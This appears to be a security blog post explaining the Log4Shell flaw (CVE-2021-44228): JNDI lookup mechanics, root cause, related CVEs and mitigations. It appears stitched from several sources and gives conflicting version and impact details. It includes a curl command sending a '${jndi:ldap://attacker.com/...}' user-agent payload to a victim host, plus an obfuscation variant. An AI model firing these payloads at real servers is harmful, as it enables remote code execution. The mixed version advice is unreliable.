Apache Log4j Remote Code Execution (CVE-2021-44228)
Introduction
Log4Shell is a severe critical vulnerability affecting many versions of the Apache Log4j application. The vulnerability allows unauthenticated remote code execution. Attackers can take advantage of it by modifying their browser’s user-agent string to ${jndi:ldap://[attacker_URL]} format. This vulnerability can be found in products of some of the most famous technology vendors such as AWS, IBM, Cloudflare, Cisco, iCloud, Minecraft: Java Edition, Steam, and VMWare.
On Dec. 9, 2021, a remote code execution (RCE) vulnerability in Apache Log4j 2 was identified being exploited in the wild. Public proof of concept (PoC) code was released and subsequent investigation revealed that exploitation was incredibly easy to perform. By submitting a specially crafted request to a vulnerable system, depending on how the system is configured, an attacker is able to instruct that system to download and subsequently execute a malicious payload. Due to the discovery of this exploit being so recent, there are still many servers, both on-premises and within cloud environments, that have yet to be patched. Like many high severity RCE exploits, thus far, massive scanning activity for CVE-2021-44228 has begun on the internet with the intent of seeking out and exploiting unpatched systems. We highly recommend that organizations upgrade to the latest version (2.17.1) of Apache Log4j 2 for all systems. This version also patches the additional vulnerabilities CVE-2021-45046, found on Dec. 14; CVE-2021-45105, found on Dec. 17; and CVE-2021-44832, found on Dec. 28.
On Dec. 22, we updated this blog to include statistics on Log4j exploitation attempts that we identified by analyzing hits on the Apache Log4j Remote Code Execution Vulnerability threat prevention signature for the Palo Alto Networks Next-Generation Firewall. We describe a range of examples of activities that could be attempted in the event exploitation is successful, including mass scanning, vulnerable server discovery, information stealing, possible delivery of CobaltStrike and coinmining. We also include a timeline of recent events relating to Log4j vulnerabilities.
On Dec. 28, we updated this blog to include information about CVE-2021-44832, which is an RCE vulnerability affecting instances of Log4j 2 in instances where an attacker has permission to modify the logging configuration file and can in turn construct a malicious configuration using a JDBC Appender. This JDBC Appender in turn references a JDNI URI that can execute remote code on the affected device.
What is Log4Shell?
Apache Log4j is a Java-based logging utility. Log4j Java library’s role is to log information that helps applications run smoothly, determine what’s happening, and help with the debugging process when errors occur.
Logging libraries typically write down messages to the log file or a database. Before the string is recorded to a log file, it is frequently processed. For example, variables defined as ${variable} expanded as date, time, or username. The ${user.username} expression can be replaced with the current user’s actual username using an expression like Log.info(“${user.username} not found”). This is similar to using $() in PowerShell to expand and parse strings.
For remote lookups to retrieve this information from a remote machine, Log4j uses the Java Naming and Directory Interface (JNDI). JNDI allows programmers to look up items using a variety of services and protocols, including LDAP, DNS, Java Remote Method Invocation (RMI), and others.
JNDI syntax is:
${ jndi:protocol://server}. ${}
These blocks can be nested and merged. It allows for countless complicated obfuscation techniques that can be used. For example, attackers can use ${${lower:jn}${lower:di}} instead of ${ jndi:}. This allows attackers to retrieve information from a remote server by exploiting the vulnerability. They can, for example, read an environment variable and use its value in an LDAP query.
Java objects can also be stored in a directory service, and JNDI has logic that detects when a directory object contains a Java object and loads it into memory. The LDAP object loader will retrieve the contents of the URL defined in javaCodebase and use it to create an object in memory, If the LDAP object has ObjectClass attribute defined as javaNamingReference and has the attributes javaCodebase, javaFactory, and javaClassName. This class’ initialization method (constructor) is called and loads untrusted code from an untrusted source.
If the attacker can find a way to get a specially crafted string to be processed by the Log4j logging framework, an attacker can exploit it. For example, a web application (the target of this vulnerability) typically stores the user agent string, which identifies the browser used by visitors.
String userAgent = request.getRequestHeader("User-Agent");
log.info(userAgent)
Attackers can specify a custom user-agent string for their connections. This data is saved in a log file, and Log4j is exploited while processing it. Here is a specially crafted user-agent string to trigger this vulnerability:
curl http://victim.com/ -A "${ jndi:ldap://attacker.com/reference}"
Apache Log4j2 2.0 through 2.12.1 and 2.13.0 through 2.15.0 JNDI features used in the configuration, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. From Log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0, this functionality has been completely removed.
Why is the Log4j vulnerability so important?
Log4j is used in most of the developed java applications. This means that the number of devices that could potentially be affected by the security vulnerability is approximately 2.5 – 3 billion. Also, a very large percentage of the enterprise uses java applications.
According to statistical data, there have been more than 1,272,000 hacking attempts to date, and over 44% of corporate networks globally have been affected by this vulnerability. Recently, a large number of attacks have been detected that exploit the Log4j vulnerability involving cryptocurrency mining.
Log4Shell (CVE 2021-44228) means that attackers can remotely run whatever code they want and gain access to all data on the affected machine. It also allows them to delete or encrypt all files on the affected machine and store them for a ransom demand. This potentially makes it a target for anything that uses a vulnerable version of Log4j to log user-controllable data.
How can attackers exploit the vulnerability?
Log4j allows logged messages to contain format strings that reference external information through the Java Naming and Directory Interface (JNDI). This allows information to be remotely retrieved across a variety of protocols, including the Lightweight Directory Access Protocol (LDAP).
For example, when Log4j finds the following string in a log message:
${jndi:ldap://prplbx.com/security}
It instructs the JNDI to ask the LDAP server at “prplbx.com” for the “security” object. By design, JNDI will execute Java classes that an LDAP server references. If the LDAP server’s response references the URL https://prplbx.com/security, JNDI will automatically request the file security.class from the web server and execute the response.
Since the contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that perform any action they choose.
The screenshot below is a list of the HTTP headers in a GET request that illustrates the attacker using interact.sh to probe for vulnerable servers.
Affected Version
Apache Log4j 2.x <= 2.15.0-rc1
Affected Software
A significant number of Java-based applications are using log4j as their logging utility and are vulnerable to this CVE. To the best of our knowledge, at least the following software may be impacted:
- .Apache Struts
- .Apache Solr
- .Apache Druid
- .Apache Flink
- .ElasticSearch
- .Flume
- .Apache Dubbo
- .Logstash
- .Spring-Boot-starter-log4j2
Palo Alto Networks customers are protected via Next-Generation Firewalls (PA-Series, VM-Series and CN-Series) or Prisma Access with a Threat Prevention security subscription and protected by Cortex XDR using exploit protection on Linux endpoints and Behavioral Threat Protection across Windows, Mac and Linux endpoints. Prisma Cloud can detect continuous integration (CI), container images and host systems which maintain vulnerable instances of log4j. You can also automate incident response with Cortex XSOAR.
What are related CVEs?
a. CVE-2021-44228
Description: Apache Log4j2 JNDI features do not protect against attacker-controlled LDAP and other JNDI-related endpoints.
Severity: Critical
Base CVSS Score: 10.0 CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Versions Affected: All versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.14.1
Details: In Apache Log4j2 versions up to and including 2.14.1 (excluding security release 2.12.2), the JNDI features used in configurations, log messages, and parameters do not protect against attacker-controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled.
b. CVE-2021-45046
Description: Apache Log4j2 Thread Context Message Pattern and Context Lookup Pattern vulnerable to a denial of service attack.
Severity: Moderate
Base CVSS Score: 3.7 (AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)
Versions Affected: All versions from 2.0-beta9 through 2.12.1 and 2.13.0 through 2.15.0
Details: It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. This could allow attackers with control over Thread Context Map (MDC) input data when the logging configuration uses a non-default Pattern Layout with either a Context Lookup (for example, $${ctx:loginId}) or a Thread Context Map pattern (%X, %mdc, or %MDC) to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack. Log4j 2.15.0 restricts JNDI LDAP lookups to localhost by default. Note that previous mitigations involving configuration such as to set the system property log4j2.formatMsgNoLookups to true do NOT mitigate this specific vulnerability.
c. CVE-2021-4104
Description: Deserialization of untrusted data in JMSAppender in Apache Log4j 1.2.
Severity: N/A
Base CVSS Score: NVD score not yet provided.
Versions Affected: Log4j 1.2
Details: JMSAppender in Log4j 1.2 is vulnerable to deserialization of untrusted data when the attacker has written access to the Log4j configuration. The attacker can provide TopicBindingName and TopicConnectionFactoryBindingName configurations causing JMSAppender to perform JNDI requests that result in remote code execution similarly to CVE-2021-44228. Note this issue only affects Log4j 1.2 when specifically configured to use JMSAppender, which is not the default. Apache Log4j 1.2 reached the end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
Root Cause Analysis
If we take a closer look, we discover that log4j 2.x supports a mechanism called lookups, which is usually used to set up the log4j config flexibly for users. The official introduction about Lookups is as follows:
Lookups provide a way to add values to the log4j configuration at arbitrary places. They are a particular type of Plugin that implements the StrLookup interface.
The normal user can conveniently and flexibly add values to the configuration at arbitrary places with the predesigned format by using this feature. In detail, when calling the log method in the application, log4j 2.x will call the format method to check the specific characters ${ in each log.
Should these characters be present, the Java method lookup will be called to find strings after the characters ${ and then replace the expression after the characters ${ with the real value found before. For example, when calling the log function in the application to log the content shown in Figure 1, the strings java:runtime, java:vm, and java:os after the characters ${ will be considered as the parameter of the lookup method and finally replaced with the corresponding values, such as Java(TM) SE Runtime Environment (build 1.7.0_67-b01) from Oracle Corporation, Java HotSpot(TM) 64-Bit Server VM (build 24.65-b04, mixed mode, and Windows 7 6.1 Service Pack 1, architecture: amd64-64.
There are several types of lookup supported by the feature lookups, such as Jndi Lookup, JVM Input Arguments Lookup (JMX), and Web Lookup. The Jndi lookup allows variables to be retrieved by JNDI. In the Jndi Lookup, several protocols are supported to make the remote lookup, such as LDAP and RMI. If the log includes the strings shown in Figure 2, the Java method lookup will be called to find the string jndi:logging/context-name.
Considering the log content is usually exposed to users and can be easily controlled by the attacker in many applications, once the attacker controls the string as shown in Figure 3 and sets a malicious Java class on an attacker-controlled LDAP server, the lookup method will be used to execute the malicious Java class on the remote LDAP server.
The log4j library is a powerful log framework with very flexible features supported. However, convenient features often involve potential security issues at the same time. Without careful user input filtering and strict input data sanitization, a blind trust of user input may lead to severe security issues.
Mitigation
The vendor has released a fix and the customers are advised to update their Log4j to version 2.16.0, if updating the version is possible. This advice and the following methods help mitigate the impacts of vulnerability:
Update your servers
The best fix against these vulnerabilities is to patch log4j to 2.16.0 and above:
Log4j 1.x mitigation: Log4j 1.x is not impacted by this vulnerability.
Log4j 2.x mitigation: Implement one of the mitigation techniques below.
Java 8 (or later) users should upgrade to release 2.16.0.
Users requiring Java 7 should upgrade to release 2.12.2 when it becomes available (work in progress, expected to be available soon).
Otherwise, remove the JndiLookup class from the classpath: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
If you are using a vulnerable version and cannot upgrade, then set the below parameter:
log4j2.formatMsgNoLookups=true
Additionally, an environment variable can be set for all the affected versions:
LOG4J_FORMAT_MSG_NO_LOOKUPS=true
Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability.
Firewall
Using outgoing firewall rules on servers is a good mitigation technique to prevent attackers. If the server can make DNS lookups and attackers scan for vulnerable instances of log4j2 which will trigger the DNS lookup. Although attackers can easily bypass firewalls, having a firewall can block the outgoing connections of an actual attack and provide some degree of security.
Remove the jar files
Simply removing the jar files will break logging via log4j 2, but this is probably the weakest remediation technique as it is intrusive and prone to error.
Attack and hotfix your servers
Using exploit code to attack running servers, securing, and then modifying it to fix a vulnerability is a really poor security fix and workaround. However, this will be required at the point where other mitigations cannot be applied. There are two OpenSource projects to hotfix this:
Log4jHotPatch:
This is a tool that injects a Java agent into a running JVM process. The agent will attempt to patch the lookup() method of all loaded org.apache.logging.log4j.core.lookup.JndiLookup instances to unconditionally return the string “Patched JndiLookup::lookup()”. It is designed to address the CVE-2021-44228 remote code execution vulnerability in Log4j without restarting the Java process. This tool will also address CVE-2021-45046.
Logout4Shell:
This project attempts to fix the vulnerability by using the bug against itself. You can learn more about Cybereason’s “vaccine” approach to the Apache Log4Shell vulnerability (CVE-2021-44228) on our website.
Comments
Post a Comment